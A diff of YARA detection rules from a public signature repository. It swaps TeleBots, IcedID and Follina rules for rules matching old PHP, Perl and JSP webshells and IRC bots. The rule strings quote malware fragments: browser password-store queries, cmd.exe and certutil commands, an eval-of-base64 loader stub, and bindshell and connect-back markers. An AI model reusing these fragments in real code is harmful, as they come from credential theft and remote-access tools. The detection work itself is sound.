-		$s2 = "SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins" fullword ascii
-		$s3 = "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS" fullword ascii
-		$s4 = ".\\PAI\\IEforXPpasswords.txt" ascii
-		$s5 = "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
-		$s6 = "Opera old version credentials" fullword wide
+		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
+		$s2 = "Function MorfiCoder(Code)" fullword
+		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them ) or (4 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Telebots_VBS_Backdoor_1 : FILE
+rule SIGNATURE_BASE_Perlbot_Pl
 {
 	meta:
-		description = "Detects TeleBots malware - VBS Backdoor"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2b711f66-8ec5-5b9a-a762-7e6668c821c9"
-		date = "2016-12-14"
+		description = "Semi-Auto-generated  - file perlbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "378cb0e4-2069-50b7-ab3e-5a81055e9983"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L90-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4ff4963058674cf71c123af74c0947da2edf3b5e2622261d14200f406dbe2992"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3619-L3630"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
+		logic_hash = "784980d620e71fb0cf5aed9ef8bd171a8f50d850bc782645575070b75c42e426"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eb31a918ccc1643d069cf08b7958e2760e8551ba3b88ea9e5d496e07437273b2"
+		tags = ""
 
 	strings:
-		$s1 = "cmd = \"cmd.exe /c \" + arg + \" >\" + outfile +\" 2>&1\"" fullword ascii
-		$s2 = "GetTemp = \"c:\\WINDOWS\\addins\"" fullword ascii
-		$s3 = "elseif (arg0 = \"-dump\") Then" fullword ascii
-		$s4 = "decode = \"certutil -decode \" + source + \" \" + dest  " fullword ascii
+		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
+		$s1 = "#Acesso a Shel - 1 ON 0 OFF"
 
 	condition:
-		( uint16(0)==0x6553 and filesize <8KB and 1 of them ) or ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Telebots_VBS_Backdoor_2 : FILE
+rule SIGNATURE_BASE_Php_Backdoor_Php
 {
 	meta:
-		description = "Detects TeleBots malware - VBS Backdoor"
-		author = "Florian Roth (Nextron Systems)"
-		id = "151849af-f1d0-529c-94f2-287312f6515e"
-		date = "2016-12-14"
+		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "aca53071-f793-538d-bbeb-34469cdb4d1f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L108-L123"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "299a2ca6eacc29b4a7697a8502a56cffda4f6bc6b3354d3cc133712c1755c476"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3631-L3643"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+		logic_hash = "acab82b40760b45d49da51953f78c69166955de54918634c9bfe394208cdbb56"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1b2a5922b58c8060844b43e14dfa5b0c8b119f281f54a46f0f1c34accde71ddb"
+		tags = ""
 
 	strings:
-		$s1 = "cmd = \"cmd.exe /c \" + arg + \" \" + arg2" fullword ascii
-		$s2 = "Dim WMI:  Set WMI = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")" fullword ascii
-		$s3 = "cmd = \"certutil -encode -f \" + source + \" \" + dest" fullword ascii
+		$s0 = "http://michaeldaw.org   2006"
+		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
+		$s3 = "coded by z0mbie"
 
 	condition:
-		( uint16(0)==0x6944 and filesize <30KB and 1 of them ) or (2 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Telebots_Win64_Spy_Keylogger_G : FILE
+rule SIGNATURE_BASE_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_Php
 {
 	meta:
-		description = "Detects TeleBots malware - Win64 Spy KeyLogger G"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fd16a198-1b28-532b-a1ba-70680469ec51"
-		date = "2016-12-14"
+		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "e91114ce-18f9-51cd-b41c-b796960ea4fe"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4if3HG"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_telebots.yar#L125-L144"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b4db8f290bd4f943a90669afd5bff6b766d0723fb3ee9c69d7097e737beadc8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3644-L3656"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+		logic_hash = "a0606dad4474579354709fe6306d15427afc4dec8ad6760a0ee9e91c86c23e4d"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e"
+		tags = ""
 
 	strings:
-		$s1 = "C:\\WRK\\GHook\\gHook\\x64\\Debug\\gHookx64.pdb" fullword ascii
-		$s2 = "Install hooks error!" fullword wide
-		$s4 = "%ls%d.~tmp" fullword wide
-		$s5 = "[*]Window PID > %d: " fullword wide
-		$s6 = "Install hooks ok!" fullword wide
-		$s7 = "[!]Clipboard paste" fullword wide
-		$s9 = "[*] IMAGE : %ls" fullword wide
+		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
+		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
+		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of them ) or (3 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Icedid_GZIP_LDR_202104 : FILE
+rule SIGNATURE_BASE_Nshell__1__Php_Php
 {
 	meta:
-		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "fbf578e7-c318-5f67-82df-f93232362a23"
-		date = "2021-04-12"
-		modified = "2023-01-27"
-		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_icedid.yar#L14-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7a7cc6c7dcbf43bace6a1f259af38560327c34386517e719ad81068b2d9b6659"
+		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "44e8b6c5-6f41-5c37-a083-26acedd91956"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3657-L3668"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "973fc89694097a41e684b43a21b1b099"
+		logic_hash = "53c7cd24c4eddbded1b4c16fd2758bdf66c0bbe396e487a56d56fc053cf3cc1a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$internal_name = "loader_dll_64.dll" fullword
-		$string0 = "_gat=" wide
-		$string1 = "_ga=" wide
-		$string2 = "_gid=" wide
-		$string4 = "_io=" wide
-		$string5 = "GetAdaptersInfo" fullword
-		$string6 = "WINHTTP.dll" fullword
-		$string7 = "DllRegisterServer" fullword
-		$string8 = "PluginInit" fullword
-		$string9 = "POST" wide fullword
-		$string10 = "aws.amazon.com" wide fullword
+		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
+		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_PS1_Msdt_Execution_May22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Shankar_Php_Php
 {
 	meta:
-		description = "Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation"
-		author = "Nasreddine Bencherchali, Christian Burkard"
-		id = "caa8a042-ffd4-52b2-a9f0-86e6c83a0aa3"
-		date = "2022-05-31"
-		modified = "2022-07-08"
-		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L1-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72ab851eecece30e11e2158da94267c64c187be400926ba6bbcbdc59d0a349dc"
+		description = "Semi-Auto-generated  - file shankar.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "0c8ab3eb-574b-5e5a-8117-4efecef94f83"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3669-L3681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
+		logic_hash = "58b365206c18b8394cf1e03b71b8e47be10bc933bc2c05b7b03b7dad94f6d6b8"
 		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$a = "PCWDiagnostic" ascii wide fullword
-		$sa1 = "msdt.exe" ascii wide
-		$sa2 = "msdt " ascii wide
-		$sa3 = "ms-msdt" ascii wide
-		$sb1 = "/af " ascii wide
-		$sb2 = "-af " ascii wide
-		$sb3 = "IT_BrowseForFile=" ascii wide
-		$fp1 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00
-               46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00
-               00 00 70 00 63 00 77 00 72 00 75 00 6E 00 2E 00
-               65 00 78 00 65 00 }
-		$fp2 = "FilesFullTrust" wide
+		$sAuthor = "ShAnKaR"
+		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
+		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"
 
 	condition:
-		filesize <10MB and $a and 1 of ($sa*) and 1 of ($sb*) and not 1 of ($fp*)
+		1 of ($s*) and $sAuthor
 }
-rule SIGNATURE_BASE_SUSP_Doc_Wordxmlrels_May22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Casus15_Php_Php
 {
 	meta:
-		description = "Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation"
-		author = "Tobias Michalski, Christian Burkard, Wojciech Cieslak"
-		id = "304c4816-b2f6-5319-9fe9-8f74bdb82ad0"
-		date = "2022-05-30"
-		modified = "2022-06-20"
-		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L34-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0"
-		logic_hash = "c9846f8c2c1724792de14ab4de0064f951a8faaf01cc27d873e600f29d59c842"
-		score = 70
+		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ba6748a2-fb80-5eda-816c-155bab9285e5"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3682-L3694"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
+		logic_hash = "6ee7a07163d33ca329d3be2084406629711db14db4605e8413ee963eb0f9d5a7"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$a1 = "<Relationships" ascii
-		$a2 = "TargetMode=\"External\"" ascii
-		$x1 = ".html!" ascii
-		$x2 = ".htm!" ascii
-		$x3 = "%2E%68%74%6D%6C%21" ascii
-		$x4 = "%2E%68%74%6D%21" ascii
+		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
+		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
+		$s3 = "value='Calistirmak istediginiz "
 
 	condition:
-		filesize <50KB and all of ($a*) and 1 of ($x*)
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Doc_RTF_Externalresource_May22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Small_Php_Php
 {
 	meta:
-		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation"
-		author = "Tobias Michalski, Christian Burkard"
-		id = "71bb97e0-ec12-504c-a1f6-25039ac91c86"
-		date = "2022-05-30"
-		modified = "2022-05-31"
-		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L58-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c841e0c1ff78bf8dade5f573a7452b16a7f447cfc19417704b727684a8f3d3ff"
-		score = 70
+		description = "Semi-Auto-generated  - file small.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "cf4fb88f-a312-560d-be0b-b55bfcb889be"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3695-L3707"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fcee6226d09d150bfa5f103bee61fbde"
+		logic_hash = "e0444aa604e8956d423037b70b9476f5653503055d0f1bc875d43de144ce5c44"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$s1 = " LINK htmlfile \"http" ascii
-		$s2 = ".html!\" " ascii
+		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
+		$s4 = "@ini_set('error_log',NULL);" fullword
 
 	condition:
-		uint32be(0)==0x7B5C7274 and filesize <300KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_EXPL_Follina_CVE_2022_30190_Msdt_Msprotocoluri_May22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Shellbot_Pl
 {
 	meta:
-		description = "Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation"
-		author = "Tobias Michalski, Christian Burkard"
-		id = "62e67c25-a420-5dac-9d1c-b0648ea6b574"
-		date = "2022-05-30"
-		modified = "2022-07-18"
-		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L76-L94"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d56820737951f97606749c74025589e6a8ecbe70cfff069492368b2ba8528a7d"
-		score = 80
+		description = "Semi-Auto-generated  - file shellbot.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "07c145b1-c9f7-564a-b354-a6d2072f380c"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3708-L3722"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
+		logic_hash = "5db224e4fe8608bb53f044ca6c0361dc66cadd58c6d4ea5ab4f8ae14ebde0e6e"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
-		hash1 = "4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784"
-		hash2 = "778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07"
+		tags = ""
 
 	strings:
-		$re1 = /location\.href\s{0,20}=\s{0,20}"ms-msdt:/
-		$a1 = "%6D%73%2D%6D%73%64%74%3A%2F" ascii
+		$s0 = "ShellBOT"
+		$s1 = "PacktsGr0up"
+		$s2 = "CoRpOrAtIoN"
+		$s3 = "# Servidor de irc que vai ser usado "
+		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"
 
 	condition:
-		filesize >3KB and filesize <100KB and 1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_SUSP_Doc_RTF_Ole2Link_Jun22 : FILE
+rule SIGNATURE_BASE_Fuckphpshell_Php
 {
 	meta:
-		description = "Detects a suspicious pattern in RTF files which downloads external resources"
-		author = "Christian Burkard"
-		id = "e9c83d58-6214-51d5-882a-4bd2ed6acc9a"
-		date = "2022-06-01"
+		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "010db63b-ff72-5f97-8651-a1c7851471ff"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L96-L127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
-		logic_hash = "36cb711399197c694ac4fa4fd49cd5d587a830e152a138c81851b8e16301803d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3723-L3736"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "554e50c1265bb0934fcc8247ec3b9052"
+		logic_hash = "0c993960b4ca880b818c7b7ba726479ed1c64c46ef8ca82d3c990d69ebe43f42"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$sa = "\\objdata" ascii nocase
-		$sb1 = "4f4c45324c696e6b" ascii
-		$sb2 = "4F4C45324C696E6B" ascii
-		$sc1 = "d0cf11e0a1b11ae1" ascii
-		$sc2 = "D0CF11E0A1B11AE1" ascii
-		$x1 = "68007400740070003a002f002f00" ascii
-		$x2 = "68007400740070003A002F002F00" ascii
-		$x3 = "680074007400700073003a002f002f00" ascii
-		$x4 = "680074007400700073003A002F002F00" ascii
-		$x5 = "6600740070003a002f002f00" ascii
-		$x6 = "6600740070003A002F002F00" ascii
+		$s0 = "$succ = \"Warning! "
+		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
+		$s2 = "\\*=-- MEMBERS AREA --=*/"
+		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"
 
 	condition:
-		( uint32be(0)==0x7B5C7274 or uint32be(0)==0x7B5C2A5C) and $sa and 1 of ($sb*) and 1 of ($sc*) and 1 of ($x*)
+		2 of them
 }
-rule SIGNATURE_BASE_SUSP_Doc_RTF_Ole2Link_EMAIL_Jun22 : FILE
+rule SIGNATURE_BASE_Ngh_Php_Php
 {
 	meta:
-		description = "Detects a suspicious pattern in RTF files which downloads external resources inside e-mail attachments"
-		author = "Christian Burkard"
-		id = "48cde505-3ce4-52ef-b338-0c08ac4f63de"
-		date = "2022-06-01"
+		description = "Semi-Auto-generated  - file ngh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "2d8ff3c1-d6b3-57ce-8213-232b376dbd05"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L129-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
-		logic_hash = "fcbb3e32762f8c67b5b226e8095b767d630f8c118521a82fc22f9a3cc272b794"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3737-L3751"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
+		logic_hash = "c794b216bafdaecf5bd138cc8c7552efbb8c3c571a441489d02a19793a4c294f"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$sa1 = "XG9iamRhdG" ascii
-		$sa2 = "xvYmpkYXRh" ascii
-		$sa3 = "cb2JqZGF0Y" ascii
-		$sb1 = "NGY0YzQ1MzI0YzY5NmU2Y" ascii
-		$sb2 = "RmNGM0NTMyNGM2OTZlNm" ascii
-		$sb3 = "0ZjRjNDUzMjRjNjk2ZTZi" ascii
-		$sb4 = "NEY0QzQ1MzI0QzY5NkU2Q" ascii
-		$sb5 = "RGNEM0NTMyNEM2OTZFNk" ascii
-		$sb6 = "0RjRDNDUzMjRDNjk2RTZC" ascii
-		$sc1 = "ZDBjZjExZTBhMWIxMWFlM" ascii
-		$sc2 = "QwY2YxMWUwYTFiMTFhZT" ascii
-		$sc3 = "kMGNmMTFlMGExYjExYWUx" ascii
-		$sc4 = "RDBDRjExRTBBMUIxMUFFM" ascii
-		$sc5 = "QwQ0YxMUUwQTFCMTFBRT" ascii
-		$sc6 = "EMENGMTFFMEExQjExQUUx" ascii
-		$x1 = "NjgwMDc0MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
-		$x2 = "Y4MDA3NDAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
-		$x3 = "2ODAwNzQwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
-		$x4 = "NjgwMDc0MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
-		$x5 = "Y4MDA3NDAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
-		$x6 = "2ODAwNzQwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
-		$x7 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzYTAwMmYwMDJmMD" ascii
-		$x8 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM2EwMDJmMDAyZjAw" ascii
-		$x9 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNhMDAyZjAwMmYwM" ascii
-		$x10 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzQTAwMkYwMDJGMD" ascii
-		$x11 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM0EwMDJGMDAyRjAw" ascii
-		$x12 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNBMDAyRjAwMkYwM" ascii
-		$x13 = "NjYwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
-		$x14 = "Y2MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
-		$x15 = "2NjAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
-		$x16 = "NjYwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
-		$x17 = "Y2MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
-		$x18 = "2NjAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
+		$s0 = "Cr4sh_aka_RKL"
+		$s1 = "NGH edition"
+		$s2 = "/* connectback-backdoor on perl"
+		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
+		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"
 
 	condition:
-		filesize <10MB and 1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*) and 1 of ($x*)
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_DOC_RTF_Externalresource_EMAIL_Jun22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Jsp_Reverse_Jsp
 {
 	meta:
-		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation inside e-mail attachment"
-		author = "Christian Burkard"
-		id = "3ddc838c-8520-5572-9652-8cb823f83e27"
-		date = "2022-06-01"
+		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4953b230-4cd9-55d6-a3cb-8d3713e7fb0c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L190-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73e76bd80f77640c0d8d47ebb7903eb9cc23336fbe653e7d008cae6a0de7c45b"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3752-L3764"
